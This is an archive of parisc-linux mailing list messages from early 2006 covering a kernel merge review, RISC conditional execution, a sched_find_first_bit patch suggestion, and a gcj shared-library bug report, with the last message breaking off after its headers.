On Tue, Jan 17, 2006 at 08:06:25AM -0700, Matthew Wilcox wrote:
> The 2.6.16-rc1 merge was a bit complex, so please check any areas you
> feel responsible for to make sure I didn't mess you up.
> 
> arch/parisc/kernel/process.c
> 
> The merge seems to have undone some of viro's task_stack_page stuff.
> I don't think this was deliberate, needs checking.
>

Shit. Ok. I'll fix this.
 
> drivers/parisc/pdc_stable.c
> 
> I think I just took Thibaut's newest version for everything here.
>

Yes, that's right, I merged a not-quite-totally-fixed interim version
(fixed some sysfs error checking, but not much else, iirc).
 
> drivers/scsi/constants.c
> drivers/scsi/ncr53c8xx.c
> drivers/scsi/ncr53c8xx.h
> drivers/scsi/sym53c8xx_2/sym_glue.c
> drivers/scsi/sym53c8xx_2/sym_glue.h
> drivers/scsi/sym53c8xx_2/sym_hipd.c
> 
> I'll take care of these; they're all my fault.
> 

:)

> include/sound/opl3.h
> sound/drivers/opl3/opl3_lib.c
> sound/pci/Kconfig
> sound/pci/ad1889.c
> 
> Stuart, please look.  It was all very complicated, and I'm not convinced
> I haven't missed some cleanups necessary on error paths.
>

Can we just split out a diff of the OPL3 stuff and remove it from CVS until
it gets sorted? The ALSA folk seem to like to fuck around with our code
without informing us of it.
 
> kernel/compat.c
> 
> I kept our version of compat_sys_timer_create.  Someone please test the
> upstream version works.
> 

I can do this.

A couple things needed to go into cvs that I held off for, atomic64
for one, to avoid merge clashes because of Christoph Lameter's changes
in git.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Conditional Execution and Instruction Nullification
Date: Sun, 29 Jan 2006 03:14:52 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20060129031452.GA24516@miranda.arrow>
References: <ITRHVB$11210699317E1F3FB9E9F490F8B5B813@scarlet.be>
	<20060127175155.GA21486@colo.lackof.org>
	<43DBA5A1.90002@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624582 27510 80.91.229.3 (22 Nov 2014 02:49:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:42 +0000 (UTC)
Cc: rmk+lkml <rmk+lkml@arm.linux.org.uk>,
 parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jan 2006 03:14:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 29 Jan 2006 04:14:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B358B7D6FD;
	Sat, 28 Jan 2006 20:14:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01011-10; Sat, 28 Jan 2006 20:14:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F6737D6F9;
	Sat, 28 Jan 2006 20:14:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3BFF7D6F0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jan 2006 20:13:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01064-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jan 2006 20:13:58 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3A0F47D6E0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jan 2006 20:13:58 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id A29E64940E8; Sat, 28 Jan 2006 20:13:58 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta08-winn.ispmail.ntl.com (mta08-winn.ispmail.ntl.com
	[81.103.221.48]) by palinux.hppa (Postfix) with ESMTP id 08919494006
	for <parisc-linux@parisc-linux.org>;
	Sat, 28 Jan 2006 20:13:57 -0700 (MST)
Original-Received: from aamta09-winn.ispmail.ntl.com ([81.103.221.35])
	by mta08-winn.ispmail.ntl.com with ESMTP id
	<20060129031353.GMUF8724.mta08-winn.ispmail.ntl.com@aamta09-winn.ispmail.ntl.com>;
	Sun, 29 Jan 2006 03:13:53 +0000
Original-Received: from localhost.localdomain ([82.9.44.76])
	by aamta09-winn.ispmail.ntl.com with ESMTP id
	<20060129031353.CJQO1154.aamta09-winn.ispmail.ntl.com@localhost.localdomain>;
	Sun, 29 Jan 2006 03:13:53 +0000
Original-Received: from sdb by localhost.localdomain with local (Exim 4.50)
	id 1F331g-0006Oe-KS; Sun, 29 Jan 2006 03:14:52 +0000
Content-Disposition: inline
In-Reply-To: <43DBA5A1.90002@tiscali.be>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RlauY0VzeSEkSr6WZHQhaXN1IGRvb4Aj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25256

On Sat, Jan 28, 2006 at 05:10:57PM +0000, Joel Soete wrote:
> Ah ok sorry, I was confused by a colleague of mine experimented in other 
> cpu risc who tell me that 'instrucion nullification' was typicaly RISC, 
> though. (I can just try to ask him more details on cpu arch he spoke about)

Ignoring conditional traps/branches (and hoping I've got this right):

Neither Alpha nor PowerPC have conditional execution.  MIPS and SPARC
have conditional move instructions (as does POWER).  ARM has conditional
execution for most instructions.  PA-RISC has instruction nullification.

SPARC does have delay slot nullification (with confusing semantics), but
that's unrelated.  MIPS (since MIPS II) and PA-RISC have this, too.

http://gec.di.uminho.pt/discip/TextoAC/AnexoE.html might be a good read.

Cheers,
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 12/44] generic sched_find_first_bit()
Date: Thu, 2 Feb 2006 20:58:22 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20060203035822.GA12539__40484.688364859$1416624583$gmane$org@colo.lackof.org>
References: <20060201090224.536581000@localhost.localdomain>
	<20060201090325.497639000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624583 27512 80.91.229.3 (22 Nov 2014 02:49:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:43 +0000 (UTC)
Cc: linux-mips@linux-mips.org,
 linux-ia64@vger.kernel.org,
 Ian Molton <spyro@f2s.com>,
 Andi Kleen <ak@suse.de>,
 David Howells <dhowells@redhat.com>,
 linuxppc-dev@ozlabs.org,
 Greg Ungerer <gerg@uclinux.org>,
 sparclinux@vger.kernel.org,
 Miles Bader <uclinux-v850@lsi.nec.co.jp>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Hirokazu Takata <takata@linux-m32r.org>,
 linuxsh-shmedia-dev@lists.sourceforge.net,
 Linus Torvalds <torvalds@osdl.org>,
 Chris Zankel <chris@zankel.net>,
 dev-etrax@axis.com,
 ultralinux@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org,
 linux-kernel@vger.kernel.org,
 linuxsh-dev@lists.sourceforge.net,
 linux390@de.ibm.com,
 Russell King <rmk@arm.linux.org.uk>,
 parisc-linux@parisc-linux.org
To: Akinobu Mita <mita@miraclelinux.com>
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Feb 2006 03:54:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 03 Feb 2006 04:54:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C531E7D779;
	Thu,  2 Feb 2006 20:54:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25234-01; Thu, 2 Feb 2006 20:54:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEBB97D76E;
	Thu,  2 Feb 2006 20:54:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 523FC7D76A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Feb 2006 20:48:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24648-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Feb 2006 20:48:39 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7AD327D765
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Feb 2006 20:48:39 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 3BE3D494549; Thu,  2 Feb 2006 20:48:39 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 0B8D0494006
	for <parisc-linux@parisc-linux.org>;
	Thu,  2 Feb 2006 20:48:39 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D25D6360018;
	Thu,  2 Feb 2006 20:58:23 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10848-07; Thu, 2 Feb 2006 20:58:22 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3882C360014; Thu,  2 Feb 2006 20:58:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060201090325.497639000@localhost.localdomain>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Thu, 02 Feb 2006 20:54:30 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qbaQY90/eSEkNr6WZHQhaXN1IGRvb0DA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25257

On Wed, Feb 01, 2006 at 06:02:36PM +0900, Akinobu Mita wrote:
> This patch introduces the C-language equivalent of the function:
> int sched_find_first_bit(const unsigned long *b);

Akinobu, would you prefer this is a slightly cleaner way?
(Not compile tested)

static inline int sched_find_first_bit(const unsigned long *b)
{
	if (unlikely(b[0]))
		return __ffs(b[0]);
	if (unlikely(b[1]))
		return __ffs(b[1]) + BITS_PER_LONG;
#if BITS_PER_LONG == 32
	if (unlikely(b[2]))
		return __ffs(b[2]) + 64;
	if (b[3])
		return __ffs(b[3]) + 96;
#endif
	return __ffs(b[128/BITS_PER_LONG]) + 128;
}

If BITS_PER_LONG isn't defined, the link step will fail and point
at a some unknown .o as the offender. But it's the responsibility
of the header file to make sure it's including the BITS_PER_LONG
definition, not the code that calls sched_find_first_bit().

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] patch-2.6.16-rc1-rc2 seems to works fine
Date: Fri,  3 Feb 2006 19:25:52 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <IU4J74$1D5A440EC1E444AE6F491282E2515E25@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624583 27515 80.91.229.3 (22 Nov 2014 02:49:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:43 +0000 (UTC)
To: "parisc-linux" <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Feb 2006 18:26:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 03 Feb 2006 19:26:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C67ED7D708;
	Fri,  3 Feb 2006 11:26:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30740-10; Fri, 3 Feb 2006 11:26:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E47FE7D735;
	Fri,  3 Feb 2006 11:26:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C95D47D6FC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Feb 2006 11:25:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30740-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Feb 2006 11:25:57 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3E87C7D6F3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Feb 2006 11:25:57 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 379B64940E8; Fri,  3 Feb 2006 11:25:57 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by palinux.hppa (Postfix) with ESMTP id 86392494006
	for <parisc-linux@parisc-linux.org>;
	Fri,  3 Feb 2006 11:25:56 -0700 (MST)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by xizor.is.scarlet.be  with ESMTP id k13IPqE10693 
	for <parisc-linux@parisc-linux.org>; Fri, 3 Feb 2006 19:25:52 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: E8WRY+8OeSEkdL6WZHQhaXN1IGRvb8B6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25258

Hello pa*,

Short words to mention that I tested patch-2.6.16-rc1-rc2 with success
(apparently straightforward: any failure excepted Makefile obviously) and=

tested up kernels 32bit and 64 bit on my b2k.

Hth,
    Joel=0A=0A-----------------------------------------------------------=
----=0AA free anti-spam and anti-virus filter on all Scarlet mailboxes=0A=
More info on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Tue, 21 Feb 2006 03:25:58 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <17402.31286.940841.655257__46649.2008338266$1416624583$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624583 27516 80.91.229.3 (22 Nov 2014 02:49:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:43 +0000 (UTC)
To: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Feb 2006 02:26:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 21 Feb 2006 03:26:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54CFE7D669;
	Mon, 20 Feb 2006 19:26:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15014-01; Mon, 20 Feb 2006 19:26:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13ACA7D65C;
	Mon, 20 Feb 2006 19:26:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B9FE7D647
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Feb 2006 19:26:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14729-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Feb 2006 19:26:05 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 76E777D645
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Feb 2006 19:26:05 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 3592649403A; Mon, 20 Feb 2006 19:26:05 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by palinux.hppa (Postfix) with ESMTP id 823C1494037
	for <parisc-linux@parisc-linux.org>;
	Mon, 20 Feb 2006 19:26:04 -0700 (MST)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de
	[130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id DAA00967;
	Tue, 21 Feb 2006 03:26:01 +0100 (MET)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id E654CFCDC;
	Tue, 21 Feb 2006 03:26:00 +0100 (MET)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (bueno [127.0.0.1]) (amavisd-new, port 10224) with ESMTP
	id 04451-10; Tue, 21 Feb 2006 03:25:59 +0100 (MET) 11226
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Tue, 21 Feb 2006 03:25:59 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id k1L2PxTl024936;
	Tue, 21 Feb 2006 03:25:59 +0100 (MET)
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Gx+IY1lOeSEkPb6WZHQhaXN1IGRvb8D5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25259

please see http://bugs.debian.org/353346

same thing with the 4.1 rc1 build.

thanks, Matthias
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Tue, 21 Feb 2006 16:35:43 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200602212135.k1LLZiUn005694__39001.2228898287$1416624584$gmane$org@hiauly1.hia.nrc.ca>
References: <17402.31286.940841.655257@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624584 27519 80.91.229.3 (22 Nov 2014 02:49:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Feb 2006 21:51:48 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx042) with SMTP; 21 Feb 2006 22:51:48 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 07FF82E5AE; Tue, 21 Feb 2006 15:51:41 -0600 (CST)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by murphy.debian.org (Postfix) with ESMTP id 39C982E04E
	for <debian-hppa@lists.debian.org>; Tue, 21 Feb 2006 15:35:48 -0600 (CST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id k1LLZiil005695;
	Tue, 21 Feb 2006 16:35:45 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k1LLZiUn005694;
	Tue, 21 Feb 2006 16:35:44 -0500 (EST)
In-Reply-To: <17402.31286.940841.655257@gargle.gargle.HOWL> from "Matthias Klose" at Feb 21, 2006 03:25:58 am
X-Mailer: ELM [version 2.4 PL25]
